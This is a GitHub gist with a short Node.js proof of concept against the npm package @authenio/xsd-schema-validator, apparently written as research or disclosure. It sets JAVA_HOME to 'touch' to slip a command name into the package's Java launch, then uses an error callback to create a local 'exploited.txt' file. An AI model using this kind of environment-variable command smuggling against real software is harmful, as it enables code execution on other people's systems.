Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active October 26, 2023 12:26
Show Gist options
  • Select an option

  • Save mcoimbra/e6d8b3347093cf73c666dafffb1936fa to your computer and use it in GitHub Desktop.

Select an option

Save mcoimbra/e6d8b3347093cf73c666dafffb1936fa to your computer and use it in GitHub Desktop.
Package authenio-xsd-schema-validator: The error handling of the Validator.prototype.validateXML call is delegated to a callback function provided by the user, through which I was able to create a local 'exploit.txt' file.
'use strict'
const pkg = require('@authenio/xsd-schema-validator');
process.env.JAVA_HOME = 'touch';
const xml = '';
const schema = '';
const callback = function(err, result) {
const fs = require('node:fs');
let fd = fs.openSync('exploited.txt', 'a');
fs.closeSync(fd);
};
/*
* This call will result in an internal error, triggering the call of our 'callback' function.
* Result: a local 'exploited.txt' file is created.
* Using node:vm could have been a potential protection if the package authors still wish to
* accept a user-defined callback function.
*/
pkg.validateXML(xml, schema, callback);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment